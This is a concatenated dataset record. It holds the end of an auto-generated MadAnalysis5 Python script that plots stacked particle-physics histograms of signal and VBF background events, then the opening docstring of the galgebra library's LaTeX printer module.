numpy.array([0.0251365765905,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_9\n    y2_ETA_9_weights = numpy.array([880.987624307,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_10\n    y2_ETA_10_weights = numpy.array([4038.17875328,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_11\n    y2_ETA_11_weights = numpy.array([3443.54705255,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_12\n    y2_ETA_12_weights = numpy.array([315.761577498,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_13\n    y2_ETA_13_weights = numpy.array([45.4014100526,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_14\n    y2_ETA_14_weights = numpy.array([10.8105001479,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_15\n    y2_ETA_15_weights = numpy.array([0.657987470035,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating weights for histo: y2_ETA_16\n    y2_ETA_16_weights = numpy.array([0.0411670884757,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])\n\n    # Creating a new Canvas\n    fig   = plt.figure(figsize=(12,6),dpi=80)\n    frame = gridspec.GridSpec(1,1,right=0.7)\n    pad   = fig.add_subplot(frame[0])\n\n    # Creating a new Stack\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights+y2_ETA_4_weights+y2_ETA_5_weights+y2_ETA_6_weights+y2_ETA_7_weights+y2_ETA_8_weights+y2_ETA_9_weights+y2_ETA_10_weights+y2_ETA_11_weights+y2_ETA_12_weights+y2_ETA_13_weights+y2_ETA_14_weights+y2_ETA_15_weights+y2_ETA_16_weights,\\\n             label=\"$bg\\_dip\\_1600\\_inf$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#e5e5e5\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights+y2_ETA_4_weights+y2_ETA_5_weights+y2_ETA_6_weights+y2_ETA_7_weights+y2_ETA_8_weights+y2_ETA_9_weights+y2_ETA_10_weights+y2_ETA_11_weights+y2_ETA_12_weights+y2_ETA_13_weights+y2_ETA_14_weights+y2_ETA_15_weights,\\\n             label=\"$bg\\_dip\\_1200\\_1600$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#f2f2f2\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights+y2_ETA_4_weights+y2_ETA_5_weights+y2_ETA_6_weights+y2_ETA_7_weights+y2_ETA_8_weights+y2_ETA_9_weights+y2_ETA_10_weights+y2_ETA_11_weights+y2_ETA_12_weights+y2_ETA_13_weights+y2_ETA_14_weights,\\\n             label=\"$bg\\_dip\\_800\\_1200$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#ccc6aa\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights+y2_ETA_4_weights+y2_ETA_5_weights+y2_ETA_6_weights+y2_ETA_7_weights+y2_ETA_8_weights+y2_ETA_9_weights+y2_ETA_10_weights+y2_ETA_11_weights+y2_ETA_12_weights+y2_ETA_13_weights,\\\n             label=\"$bg\\_dip\\_600\\_800$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#ccc6aa\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights+y2_ETA_4_weights+y2_ETA_5_weights+y2_ETA_6_weights+y2_ETA_7_weights+y2_ETA_8_weights+y2_ETA_9_weights+y2_ETA_10_weights+y2_ETA_11_weights+y2_ETA_12_weights,\\\n             label=\"$bg\\_dip\\_400\\_600$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#c1bfa8\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights+y2_ETA_4_weights+y2_ETA_5_weights+y2_ETA_6_weights+y2_ETA_7_weights+y2_ETA_8_weights+y2_ETA_9_weights+y2_ETA_10_weights+y2_ETA_11_weights,\\\n             label=\"$bg\\_dip\\_200\\_400$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#bab5a3\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights+y2_ETA_4_weights+y2_ETA_5_weights+y2_ETA_6_weights+y2_ETA_7_weights+y2_ETA_8_weights+y2_ETA_9_weights+y2_ETA_10_weights,\\\n             label=\"$bg\\_dip\\_100\\_200$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#b2a596\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights+y2_ETA_4_weights+y2_ETA_5_weights+y2_ETA_6_weights+y2_ETA_7_weights+y2_ETA_8_weights+y2_ETA_9_weights,\\\n             label=\"$bg\\_dip\\_0\\_100$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#b7a39b\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights+y2_ETA_4_weights+y2_ETA_5_weights+y2_ETA_6_weights+y2_ETA_7_weights+y2_ETA_8_weights,\\\n             label=\"$bg\\_vbf\\_1600\\_inf$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#ad998c\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights+y2_ETA_4_weights+y2_ETA_5_weights+y2_ETA_6_weights+y2_ETA_7_weights,\\\n             label=\"$bg\\_vbf\\_1200\\_1600$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#9b8e82\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights+y2_ETA_4_weights+y2_ETA_5_weights+y2_ETA_6_weights,\\\n             label=\"$bg\\_vbf\\_800\\_1200$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#876656\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights+y2_ETA_4_weights+y2_ETA_5_weights,\\\n             label=\"$bg\\_vbf\\_600\\_800$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#afcec6\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights+y2_ETA_4_weights,\\\n             label=\"$bg\\_vbf\\_400\\_600$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#84c1a3\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights,\\\n             label=\"$bg\\_vbf\\_200\\_400$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#89a8a0\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights,\\\n             label=\"$bg\\_vbf\\_100\\_200$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#829e8c\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights+y2_ETA_1_weights,\\\n             label=\"$bg\\_vbf\\_0\\_100$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#adbcc6\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n    pad.hist(x=xData, bins=xBinning, weights=y2_ETA_0_weights,\\\n             label=\"$signal$\", histtype=\"step\", rwidth=1.0,\\\n             color=None, edgecolor=\"#7a8e99\", linewidth=1, linestyle=\"solid\",\\\n             bottom=None, cumulative=False, normed=False, align=\"mid\", orientation=\"vertical\")\n\n\n    # Axis\n    plt.rc('text',usetex=False)\n    plt.xlabel(r\"p_{T} [ j_{1} ]   ( GeV ) \",\\\n               fontsize=16,color=\"black\")\n    plt.ylabel(r\"$\\mathrm{Events}$ $(\\mathcal{L}_{\\mathrm{int}} = 40.0\\ \\mathrm{fb}^{-1})$ \",\\\n               fontsize=16,color=\"black\")\n\n    # Boundary of y-axis\n    ymax=(y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights+y2_ETA_4_weights+y2_ETA_5_weights+y2_ETA_6_weights+y2_ETA_7_weights+y2_ETA_8_weights+y2_ETA_9_weights+y2_ETA_10_weights+y2_ETA_11_weights+y2_ETA_12_weights+y2_ETA_13_weights+y2_ETA_14_weights+y2_ETA_15_weights+y2_ETA_16_weights).max()*1.1\n    ymin=0 # linear scale\n    #ymin=min([x for x in (y2_ETA_0_weights+y2_ETA_1_weights+y2_ETA_2_weights+y2_ETA_3_weights+y2_ETA_4_weights+y2_ETA_5_weights+y2_ETA_6_weights+y2_ETA_7_weights+y2_ETA_8_weights+y2_ETA_9_weights+y2_ETA_10_weights+y2_ETA_11_weights+y2_ETA_12_weights+y2_ETA_13_weights+y2_ETA_14_weights+y2_ETA_15_weights+y2_ETA_16_weights) if x])/100. # log scale\n    plt.gca().set_ylim(ymin,ymax)\n\n    # Log/Linear scale for X-axis\n    plt.gca().set_xscale(\"linear\")\n    #plt.gca().set_xscale(\"log\",nonposx=\"clip\")\n\n    # Log/Linear scale for Y-axis\n    plt.gca().set_yscale(\"linear\")\n    #plt.gca().set_yscale(\"log\",nonposy=\"clip\")\n\n    # Legend\n    plt.legend(bbox_to_anchor=(1.05,1), loc=2, borderaxespad=0.)\n\n    # Saving the image\n    plt.savefig('../../HTML/MadAnalysis5job_0/selection_1.png')\n    plt.savefig('../../PDF/MadAnalysis5job_0/selection_1.png')\n    plt.savefig('../../DVI/MadAnalysis5job_0/selection_1.eps')\n\n# Running!\nif __name__ == '__main__':\n    selection_1()\n", "meta": {"hexsha": "3c49031e18afeb2fc00be38d573264b2e443eb8d", "size": 26318, "ext": "py", "lang": "Python", "max_stars_repo_path": "post_optimization_studies/mad_analyses/vbf_eff_flow_chart/Output/Histos/MadAnalysis5job_0/selection_1.py", "max_stars_repo_name": "sheride/axion_pheno", "max_stars_repo_head_hexsha": "7d3fc08f5ae5b17a3500eba19a2e43f87f076ce5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "post_optimization_studies/mad_analyses/vbf_eff_flow_chart/Output/Histos/MadAnalysis5job_0/selection_1.py", "max_issues_repo_name": "sheride/axion_pheno", "max_issues_repo_head_hexsha": "7d3fc08f5ae5b17a3500eba19a2e43f87f076ce5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "post_optimization_studies/mad_analyses/vbf_eff_flow_chart/Output/Histos/MadAnalysis5job_0/selection_1.py", "max_forks_repo_name": "sheride/axion_pheno", "max_forks_repo_head_hexsha": "7d3fc08f5ae5b17a3500eba19a2e43f87f076ce5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 135.6597938144, "max_line_length": 1315, "alphanum_fraction": 0.6077589482, "include": true, "reason": "import numpy", "num_tokens": 18118, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.6113819732941511, "lm_q2_score": 0.13117321187415154, "lm_q1q2_score": 0.08019693711895054}}
{"text": "r\"\"\"\nANSI Enhanced Text Printing, Text Printer and LaTeX Printer for all Geometric Algebra classes\n\n:math:`\\LaTeX` printing\n-----------------------\n\n.. note::\n\n    :mod:`galgebra` works out of the box with the usual\n    :ref:`sympy printing <sympy:tutorial-printing>` and will show Latex in\n    IPython by default. In many cases, all that is needed is::\n\n        sympy.init_printing(\n            use_latex='mathjax',\n            latex_printer=galgebra.printer.latex,\n            # described below in `GaLatexPrinter`\n            omit_function_args=True,\n            omit_partial_derivative_fraction=True,\n        )\n\n    The rest of this section primarily describes an orthogonal feature for\n    writing out ``.tex`` files with :func:`print`.\n\nThe latex printer is turned on with the :func:`Format` function\n\n.. function:: Format(Fmode=True, Dmode=True, ipy=False)\n\nwhere ``Fmode`` is the function printing mode that suppresses printing arguments,\n``Dmode`` is the derivative printing mode that does not use fractions, and\n``ipy=True`` is the IPython notebook mode that does not redirect the print output.\n\nThe latex output is post processed and displayed with the function\n\n.. function:: xpdf(filename='tmplatex.tex', debug=False)\n\nwhere ``filename`` is the name of the tex file one would keep for future\ninclusion in documents and ``debug=True`` would display the tex file\nimmediately.\n\nThere are three options for printing multivectors in latex.  They are\naccessed with the multivector member function\n\n.. function:: galgebra.mv.Mv.Fmt(self, fmt=1, title=None)\n\nwhere ``fmt`` of 1, 2, or 3 determines whether the entire multivector A is\nprinted entirely on one line, or one grade is printed per line, or\none base is printed per line.  If ``title`` is not None then the latex\nstring generated is of the form::\n\n    title + ' = ' + str(A)\n\nwhere it is assumed that title is a latex math mode string. If title\ncontains '%' it is treated as a pure latex math mode string.  If it\ndoes not contain '%' then the following character mappings are applied::\n\n    'grad' -> '\\bm{\\nabla} '\n    '*'    -> ''\n    '^'    -> '\\W '\n    '|'    -> '\\cdot '\n    